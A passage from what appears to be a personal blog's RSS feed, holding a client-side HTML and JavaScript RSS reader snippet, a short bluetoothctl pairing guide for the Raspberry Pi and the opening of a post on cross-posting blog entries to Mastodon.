<span class="kd">struct</span> <span class="nc">ContentView_Previews</span><span class="p">:</span> <span class="n">PreviewProvider</span> <span class="p">{</span>
<span class="kd">static</span> <span class="kd">var</span> <span class="nv">previews</span><span class="p">:</span> <span class="n">some</span> <span class="n">View</span> <span class="p">{</span>
<span class="n">ContentView</span><span class="p">()</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html
</guid>
<title>
RSS Feed written in HTML + JavaScript
</title>
<description>
Short code-snippet for an RSS feed, written in HTML and JavaScript
</description>
<link>https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html</link>
<pubDate>Tue, 01 Dec 2020 20:52:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="rss-feed-written-in-html-javascript">RSS Feed written in HTML + JavaScript</h1>
<p>If you want to directly open the HTML file in your browser after saving, don't forget to set <code>CORS_PROXY=""</code> </p>
<div class="codehilite">
<pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">"en"</span><span class="p">></span>
<span class="p"><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">></span>
<span class="p"><</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">"viewport"</span> <span class="na">content</span><span class="o">=</span><span class="s">"width=device-width, initial-scale=1"</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>
RSS Feed
<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"><</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">"stylesheet"</span> <span class="na">href</span><span class="o">=</span><span class="s">"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"</span> <span class="na">integrity</span><span class="o">=</span><span class="s">"sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO"</span> <span class="na">crossorigin</span><span class="o">=</span><span class="s">"anonymous"</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span> <span class="na">align</span><span class="o">=</span><span class="s">"center"</span> <span class="na">class</span><span class="o">=</span><span class="s">"display-1"</span><span class="p">></span>RSS Feed<span class="p"></</span><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">main</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"container"</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"list-group pb-4"</span> <span class="na">id</span><span class="o">=</span><span class="s">"contents"</span><span class="p">></</span><span class="nt">div</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">"feed"</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></</span><span class="nt">div</span><span class="p">></span>
<span class="p"></</span><span class="nt">main</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://gitcdn.xyz/repo/rbren/rss-parser/master/dist/rss-parser.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span><span class="p">></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">feeds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"BuzzFeed - India"</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"link"</span><span class="o">:</span><span class="s2">"https://www.buzzfeed.com/in.xml"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"summary"</span><span class="o">:</span><span class="kc">true</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s2">"New Yorker"</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"link"</span><span class="o">:</span><span class="s2">"http://www.newyorker.com/feed/news"</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s2">"Vox"</span><span class="o">:</span><span class="p">{</span>
<span class="w"> </span><span class="s2">"link"</span><span class="o">:</span><span class="s2">"https://www.vox.com/rss/index.xml"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"limit"</span><span class="o">:</span><span class="w"> </span><span class="mf">3</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s2">"r/Jokes"</span><span class="o">:</span><span class="p">{</span>
<span class="w"> </span><span class="s2">"link"</span><span class="o">:</span><span class="s2">"https://reddit.com/r/Jokes/hot/.rss?sort=hot"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"ignore"</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"repost"</span><span class="p">,</span><span class="s2">"discord"</span><span class="p">]</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">config_extra</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="s2">"Responsive-Images"</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="s2">"direct-link"</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="s2">"show-date"</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span>
<span class="s2">"left-column"</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span>
<span class="s2">"defaults"</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"limit"</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"summary"</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">CORS_PROXY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://cors-anywhere.herokuapp.com/"</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">contents_title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"h2"</span><span class="p">)</span>
<span class="nx">contents_title</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Contents"</span>
<span class="nx">contents_title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"pb-1"</span><span class="p">)</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"contents"</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">contents_title</span><span class="p">)</span>
<span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">myfunc</span><span class="p">(</span><span class="nx">key</span><span class="p">){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">count_lim</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">"limit"</span><span class="p">]</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">count_lim</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">count_lim</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"defaults"</span><span class="p">][</span><span class="s2">"limit"</span><span class="p">]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">count_lim</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">show_summary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">"summary"</span><span class="p">]</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">show_summary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">show_summary</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"defaults"</span><span class="p">][</span><span class="s2">"summary"</span><span class="p">]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">show_summary</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">"ignore"</span><span class="p">]</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="p">[]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">ignore_tags</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">contents</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"a"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">contents</span><span class="p">.</span><span class="nx">href</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"#"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">key</span>
<span class="w"> </span><span class="nx">contents</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"list-group-item"</span><span class="p">,</span><span class="s2">"list-group-item-action"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">contents</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">key</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"contents"</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">contents</span><span class="p">)</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">feed_div</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">key</span>
<span class="w"> </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">"id"</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"h2"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">title</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"From "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">key</span><span class="p">;</span>
<span class="w"> </span><span class="nx">title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"pb-1"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">title</span><span class="p">)</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"feed"</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">feed_div</span><span class="p">)</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">parser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">RSSParser</span><span class="p">();</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">countPosts</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span>
<span class="w"> </span><span class="nx">parser</span><span class="p">.</span><span class="nx">parseURL</span><span class="p">(</span><span class="nx">CORS_PROXY</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">"link"</span><span class="p">],</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="w"> </span><span class="nx">feed</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="nx">err</span><span class="p">;</span>
<span class="w"> </span><span class="nx">feed</span><span class="p">.</span><span class="nx">items</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">entry</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">countPosts</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">count_lim</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">entry</span><span class="p">.</span><span class="nx">title</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">ignore_tags</span><span class="p">[</span><span class="nx">i</span><span class="p">])){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">entry</span><span class="p">.</span><span class="nx">content</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">ignore_tags</span><span class="p">[</span><span class="nx">i</span><span class="p">])){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">skip</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">node</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">node</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card"</span><span class="p">,</span><span class="s2">"mb-3"</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">row</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">row</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"row"</span><span class="p">,</span><span class="s2">"no-gutters"</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"left-column"</span><span class="p">]){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">left_col</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">left_col</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"col-md-2"</span><span class="p">)</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">left_col_body</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-body"</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">right_col</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"left-column"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">right_col</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"col-md-10"</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">node_title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"h5"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-header"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_title</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">title</span>
<span class="w"> </span><span class="nx">node_body</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"div"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_body</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-body"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"p"</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">show_summary</span><span class="p">){</span>
<span class="w"> </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">content</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-text"</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"direct-link"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">node_link</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"p"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_link</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-text"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_link</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"<b>Link:</b> <a href='"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">link</span><span class="w"> </span><span class="o">+</span><span class="s2">"'>Direct Link</a>"</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"left-column"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_link</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_link</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"show-date"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">node_date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"p"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_date</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"card-text"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_date</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"<p><b>Date: </b>"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">pubDate</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</p>"</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"left-column"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_date</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_date</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">node</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_title</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_content</span><span class="p">)</span>
<span class="w"> </span><span class="nx">right_col</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_body</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"left-column"</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">left_col</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">left_col_body</span><span class="p">)</span>
<span class="w"> </span><span class="nx">row</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">left_col</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">row</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">right_col</span><span class="p">)</span>
<span class="w"> </span><span class="nx">node</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">row</span><span class="p">)</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node</span><span class="p">)</span>
<span class="w"> </span><span class="nx">countPosts</span><span class="o">+=</span><span class="mf">1</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">})</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">"Responsive-Images"</span><span class="p">]){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">inputs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="s1">'img'</span><span class="p">)</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">inputs</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">inputs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">"img-fluid"</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">})</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span>
<span class="p">}</span>
<span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">feeds</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">myfunc</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
<span class="p">}})();</span>
<span class="p"></</span><span class="nt">script</span><span class="p">></span>
<span class="p"><</span><span class="nt">noscript</span><span class="p">></span>Uh Oh! Your browser does not support JavaScript or JavaScript is currently disabled. Please enable JavaScript or switch to a different browser.<span class="p"></</span><span class="nt">noscript</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></</span><span class="nt">html</span><span class="p">></span>
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html
</guid>
<title>
How to setup Bluetooth on a Raspberry Pi
</title>
<description>
Connecting to Bluetooth Devices using terminal, tested on Raspberry Pi Zero W
</description>
<link>https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html</link>
<pubDate>Sun, 19 Jan 2020 15:27:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="how-to-setup-bluetooth-on-a-raspberry-pi">How to setup Bluetooth on a Raspberry Pi</h1>
<p><em>This was tested on a Raspberry Pi Zero W</em></p>
<h2 id="enter-in-the-bluetooth-mode">Enter in the Bluetooth Mode</h2>
<p><code>pi@raspberrypi:~ $ bluetoothctl</code></p>
<p><code>[bluetooth]# agent on</code></p>
<p><code>[bluetooth]# default-agent</code></p>
<p><code>[bluetooth]# scan on</code></p>
<h2 id="to-pair">To Pair</h2>
<p>While being in bluetooth mode</p>
<p><code>[bluetooth]# pair XX:XX:XX:XX:XX:XX</code></p>
<p>To Exit out of bluetoothctl anytime, just type exit </p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2022-12-25-blog-to-toot.html
</guid>
<title>
Posting blogs as Mastodon Toots
</title>
<description>
Cross posting blog posts to Mastodon
</description>
<link>https://web.navan.dev/posts/2022-12-25-blog-to-toot.html</link>
<pubDate>Sun, 25 Dec 2022 17:32:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="posting-blogs-as-mastodon-toots">Posting blogs as Mastodon Toots</h1>
<p>What is better than posting a blog post? Posting about your posting pipeline. I did this previously with <a rel="noopener" target="_blank" href="/posts/2021-06-25-Blog2Twitter-P1.html">Twitter</a>. </p>
<h2 id="the-elephant-in-the-room">the elephant in the room</h2>
<p>mastodon.social does not support any formatting in the status posts.
Yes, there are other instances which have patches to enable features such as markdown formatting, but there is no upstream support.</p>
<h2 id="time-to-code">time to code</h2>
